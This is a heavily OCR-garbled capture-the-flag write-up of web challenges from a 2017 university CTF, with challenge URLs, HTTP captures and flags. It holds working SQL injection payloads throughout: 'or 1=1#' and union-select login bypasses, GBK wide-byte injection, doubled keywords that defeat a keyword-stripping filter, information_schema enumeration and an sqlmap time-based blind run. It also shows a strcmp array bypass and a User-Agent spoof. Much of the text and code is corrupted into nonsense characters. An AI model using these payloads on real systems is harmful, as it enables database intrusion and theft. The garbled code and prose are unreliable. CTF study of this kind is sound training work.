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SELECT * FROM users WHERE name="\' AND pass="or 1= 1# (X A& T)
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(http:/fteamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)
RntipfTERiSE (head) B, #ELW, REMEEAtp, #ixhistory of bash

NHEH AR, GEY%, ATUEF (htp://blog.csdn.net/pan_tian/article/details/7715436)

FH 5 & http:/teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
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username: 1” and 1=2 union select ‘c4ca4238a0b923820dcc509a6f75849b — -
password: 1
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Request

Raw [ Headers | Hex

Response

Raw | Headers | Hex

GET /Ueb/vehiDDl/I HTTP/1.1

Ho s SRS,  : 5001

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Windows MT 10.0; Winé4; =£4) AppleWebKit/537.3€ (KHTML, like Gecko)} Chrome/&1.0.3183.91
Safari/537.36

Upgrade-Insecure-Requests: 1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, imags/apng, */*;q=0.8
Referer: http://sctf.sdutislab.cn/challenges

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zhrqg=0.8

Connection: close
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&0 BT
$=2ql = "SELECT # FRCM ctf_login WHERE ust
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HTTP/ 1.1l 302 Moved Temporarily
Server: nginx

Date: Sun, 08 Cct 2017 04:11:05 GMT
Content-Type: text/html; charset=UTF-&
Connection: close

Location: no_key.php

Content-Length: 20

wencjwkhdlkherjl. txt

SLEEE A nionE A TEZ—HE B-MEE—FERRENA TEECEN— IR ER (BREEFIREERE)

FEERIFRE A BRI AE
finction mntiinject ($input)

“szhow”, “databaze”. “where”, "order”, ”

{
fBTRS ERBREERENAESTERT Yl y, TEETHEEEMENAR S MR BEE, MITREIEADT?
S ERERELS, BT wmions BT fiEselectfortliE T IEREMIEA?
£ MNRAR ‘I‘ﬁ?ﬁ?sqhnapﬁ’]tanq:erﬂﬁﬂiﬁ (frE B/ LD @‘t?%ﬁ%ﬁﬁ‘ifx? Z’iﬁﬁiﬁﬁﬁsqhﬂﬂpgla FIFr. HET®
$kesword = array(“select”., "wion”, “and”, “from”’. Tor’. "%, “drop”, “table”, “delete”, “update”,
fret = strtolower ($input)
for ($i = 0; $i <= comt(fkeyword): $i+e |
fret = str_replace ($keyword[$il, *7, fret):
I
return fret;
i
SQLE AR AR

$2q1 = "SELECT pwd FEOM ctf_login WHEFE usrname= " §inp id™;”;


http://118.89.168.43:8001/web/web1001
http://118.89.168.43:8001/web/web1001/no_key.php
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BH<2php

Sret = str_replace (Skeyword[5i], '', fSret):
‘ }
return Sret;

$input="1 and 1=2 union select '123'"

Sinp_id=antiinject ($input};

$sql = "SELECT pwd FROM ctf login WHERE usrname= '$inp id':";
echo Ssqgl; -

o o

< C (¢ © 127.00.1/xphp

Notice: Undefined offset: 15 in D:\phpstudy\WWW\x.php on line 11
SELECT pwd FROM ctf login WHERE usrname= "1 1=2"123";

RIVA R TP IEE T
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Sinput="1" anandd 1=2 ununionion seselectlect ‘123”;

Notice: Undefined offset: 15 in D:\phpstudyA\WWW\x.php on line 8
SELECT pwd FROM ctf login WHERE usrname= "1" and 1=2 unicn select "123";

BARERT

&« C 0 |® 118.89.168.43:8001/web/sql1003/login.php

flag{sdut _ctf WEB TcVv80}
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function antiinject ($input)
= {
$keyword = array("select™, "union", "and", "from", "or", ";", "drop", "table",
Sret = strtolower(Sinput};
=] for ($i = 0; 5i <= count(Skeyword); $i++) {

"delete",

"update™,

"show"

’

"databas
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php stremp R R, fZBHASERIE, Ma

| Maw | varams | Headers | Hex |

| Waw | Hesders | Hex | HIML | Hender

POST /webh/webl0O0Z/check.php HTTR/L.L

A HTTP/Ll.l Z00 OK
Host: 118.89.1€8.43:8001 r Server: nginx
Content-Length: 13 Date: Sun, 08 Oct 2017 07:29:43 GMT
Cache-Control: max-age=0 Content-Type: text/html; charsst=UTF-8
Origin: htep://118.89.168.43:8001 Connection: closs
Upgrade-Insecure-Requests: 1 Vary: hecept-Encoding
Content-Type: application/x-www-form-urlencoded Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT L10.0: Viné4: x€4) AppleVebKic/537.36 (KHTML, like Gecko) Chrome/E1.0.3163.91
Safari/537.36 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
ALecept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */ *; q=0.8 flag{sdut_ctf WEB pyh59}
Referer: htep://118.89.168.43:8001/web/web 1002/
Lkecept-Encoding: gzip, deflate
Ahecept-Language: zh-CM, zh;q=0.8
Connection: close
firstlove[]=1
RAATHETE
strempiFiR 4 B 1T
o ) ) s 5
— BN R Bihttpsk, ARiTiX B ANLA
F R B E 2 http sk, Aidix MR
Hequest &
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /web/webl003/login.php HTTE/L.1 A HTTP/1l.1 200 OK
Host: 118.89.1€8.43:8001 r

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: SDUT-CTF-Browser

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, image/apny, */ *:q=0.8
Referer: http://sctf.sdutislab.cn/challenges

Accept-Encoding: gzip, deflate

hecept-Language: zh-Cl, zh:g=0.8

Connection: close

HUALE % hSDUT-CTF-Browser,

EH5 SHEA

B 5. exe NE

Server: nginx

Date: Sun, 08 Oct 2017 07:31:4€ GHT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

Content-Length: 85

<meta http-scuiv="Content-Type" content="text/htwl: charsst=utf-g" />
flag{sdut_ctf WEB AyUz0}
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FRE AT (ZifREE—=EEE2ARANEBEER)
function antiinject ($inpd
{
fret = ¥
for ($i = 0; $i < strlen($inp); $i+H) |
if (finp[$i] '= *7")
fret = $ret . Finp[di]
else
fret = dret . WY LT
1
retwrn fret;

1
PATRISOLIE AT
$=201 = “SELECT pwd FROM ctf_login WHEEE usrname= "* . $inp id . """

gbk4RA% K % FHEN, payloadi& T
http://118.89.168.43:8001/web/sql1004/login.php?usr=1%df%27 %20union%20select%201-%20-&pwd=1
RFNENBITEHE

&« C 1Y | ® 118.89.168.43:8001/web/sql1004/login.php?usr=1%df%27%20union%20select%201--%20-&pwd=1

flag{sdut ctf WEB Tx2sA}
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Al A IR IR X R CE 5B B
payloadt4i& a1

username : vk fand/f % f1=2/*% funion/**/select/**x /1123
password: 123

flagit B T
UNION_Plus

ZERT

payload:

id: 1 union select ‘c4ca4238a0b923820dcc509a6f75849b’, 2
password: 1
Hrc4cad238a00923820dcc509a675849b =& % 4 N #5551 HImd5(E


http://118.89.168.43:8001/web/sql1004/login.php?usr=1%25df%2527%20union%20select%201--%20-&pwd=1
http://blog.csdn.net/acsuccess/article/details/69360931
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&« 0O ‘@ www.mingzhegao.com.cn/ctf test/new file.php?name[l=123&password[]=456

Flag: sdut{check php code}
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HERNFEISH, Wpttedtx

&« C ¢ | ® www.mingzhegao.com.cn/ctf test/login.php?id=1

flagiEgmzERJuserEpassword=Eg

sqhEf] : select id, username,password from user where id ="1

8 H ARG, flaghl B 2#EFT
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RARGEER, WL RAER B ERFE
BT, MEFET, E¥EsqlmapiFm

:~# sqlmap -u "http://www.mingzhegao.com.cn/ctf test/login.php?id=1" --time-sec=10 --dbms=mysql

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is
)plicable local, state and federal laws. Developers assume no liability and are not responsible for any mi

[*] starting at 15:51:19

sqlmap resumed the following injection point(s) from stored session:

Paramete id (GET)
AND/OR time-based blind
MySQL == 5.0.12 AND time-based blind
: 1d=1' AND SLEEP(18) AND 'wCSk'='wCSk

[15:51:20] [INFO] the back-end DBMS is MySQL
veb application technology: Nginx
yack-end DBMS: MySQL == 5.0.0

*] shutting down at 15:51:2@

FEENE
XA Ja SO T AN FIBTUASK, R REsqimapst & H, Frbhsqimapil £ A i—random-agentFE L 3k i 2 505 8 R H sk
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—TraaHE R, MW, HAEEARER, BREGHARE KR
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your username:233

your telphone:233

The came nercnn as vonr mohile nhone niomhear


http://www.mingzhegao.com.cn/ctf_test/login.php?id=1%2527%20and%20sleep%25285%2529--%20-
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username:233

RKI—A 5 BN RAERARE HHFFHL5 A Husername
FER233FH S EFEM —NEF

your username:466
your telphone:233
The same person as your mobile phone number:
username:233

username:466

R, MEREENEART
EHEMAEFHL S B M i&payload
RMARIE, REENHT, URTHE—ME, fds, #A168tH

[l row in set |

BFPE: 123
LG
=S |-

FiE: 0%3120756E696F6E2073656C65E

your username:123
rour telphone:1 union select concat(user(), database(), version())
The same person as your mobile phone number:

username:123

RS U R = | N ) [ N S T T T S I T B N R |
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Your username:xxxx
your telphone:1 union select table name from information_schema.tables where table schema=database()
The same person as your mobile phone number:
username:123
USername:xxxx
username:flag

username:user

REH/WA, flagHiuser
1R B B flag?E Fflag+

yOour username:wwwww
your telphone:1 union select column_name from information_schema.calumns where table name="flag’
The same person as your mobile phone number:
username:123
username:wwwww
username:xxxx

username:flag

your username:rrrrrr
your telphone:1 union select flag from flag
The same person as your mobile phone number:
username:123
username:rrrrrr
username:wwwww
Username:xxxx

username:flag 1 i
T T YTy PR———.
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<acript
wvar clicks=0
fifimction() {
§ ("#cookie”)
cmouzedown (function () {
$this) . width  350px’ ). hedght 7 350px’ ) ;
1
.mouseup (function () |
$ithis)  width ¢ 375px" ). height (" 370px" )
clickst+;
$("#olickooumt” ). text (clicks)
if(clicks »= 10000007 {
var form = §{° <form actior="" method="post”> +
T{imput type="text” name="clicks” walue="" + clicks + ¥ hidden/>" +
T o )
§ body™ ). append(form) ;
form submit () ;
I
1
1
<fzcriptr

XEsSHAGENEEECEEBBMXNEHT, BRRAHRREFEEECicks MR ER, REXNTENEET—EA,
X/ H stgame over.
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Goal: 0/1000000
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